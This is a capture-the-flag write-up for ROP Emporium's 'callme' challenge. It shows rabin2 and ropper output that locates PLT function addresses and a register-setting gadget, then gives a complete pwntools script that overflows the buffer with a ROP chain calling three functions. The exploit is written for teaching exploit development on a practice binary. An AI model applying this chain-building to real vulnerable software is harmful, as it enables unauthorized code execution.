ROP Emporium Pt. 3: callme
SPOILER WARNING: This page will contain potential spoilers, so consider that
before continuing
ROP Emporium is a collection of challenges designed to teach return-oriented
programming (ROP) techniques by slowly introducing new concepts and increasing
difficulty. If you're looking for a spoiler-free guide, check out the one
included on their website.
callme.html
───────────────────────────────────────────────────────────────────────────────
Procedure Linkage
The Procedure Linkage Table (PLT) is used to resolve function addresses in
imported libraries at runtime, it's worth reading up about it. See Appendix A
in the Beginners' guide for a brief explanation of how the PLT is used in lazy
binding. Even better, go ahead and step through the lazy linking process in a
debugger, it's important you understand what resides at the addresses reported
to you by commands like $ rabin2 -i and $ rabin2 -R .
Important! To dispose of the need for any RE I'll tell you the following:
You must call the callme_one(), callme_two() and callme_three() functions in
that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g.
callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the
x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef,
0xcafebabecafebabe, 0xd00df00dd00df00d)
───────────────────────────────────────────────────────────────────────────────
The hint for this challenge lays out pretty clear instructions for how to solve
it so all we really have to do is follow that. We can start by finding the
addresses of all these functions.
rabin2
───────────────────────────────────────────────────────────────────
$ rabin2 -s ./callme | grep -e "useful" -e "callme"
34 ---------- 0x00000000 LOCAL FILE 0 callme.c
36 0x000008f2 0x004008f2 LOCAL FUNC 74 usefulFunction
38 0x0000093c 0x0040093c LOCAL NOTYPE 0 usefulGadgets
3 0x000006f0 0x004006f0 GLOBAL FUNC 16 imp.callme_three
7 0x00000720 0x00400720 GLOBAL FUNC 16 imp.callme_one
10 0x00000740 0x00400740 GLOBAL FUNC 16 imp.callme_two
───────────────────────────────────────────────────────────────────
usefulGadgets happens to contain the gadget that we'll need to set our register
values before running our functions. We can also find it using ropper.
ropper
───────────────────────────────────────────
$ ropper -f ./callme
0x40093c: pop rdi; pop rsi; pop rdx; ret;
───────────────────────────────────────────
So in theory we should be able to put something together like;
padding + gadget + arg1 + arg2 + arg3 + function1 + gadget + arg1 + arg2 + arg3
+ function2 + gadget + arg1 + arg2 + arg3 + function3
Now we just have to write out the python code.
exploit.py
────────────────────────────────────────────────────
from pwn import *
e = ELF('callme')
p = process(e.path)
context(arch='amd64', os='linux', endian='little')
gadget = p64(0x40093c)
one = p64(0xdeadbeefdeadbeef)
two = p64(0xcafebabecafebabe)
three = p64(0xd00df00dd00df00d)
args = one + two + three
payload = b'A' * 40
payload += gadget
payload += args
payload += p64(0x400720)
payload += gadget
payload += args
payload += p64(0x400740)
payload += gadget
payload += args
payload += p64(0x4006f0)
print(payload)
p.sendline(payload)
log.info(p.clean())
───────────────────────────────────────────────────
See part 4 for more.
// END //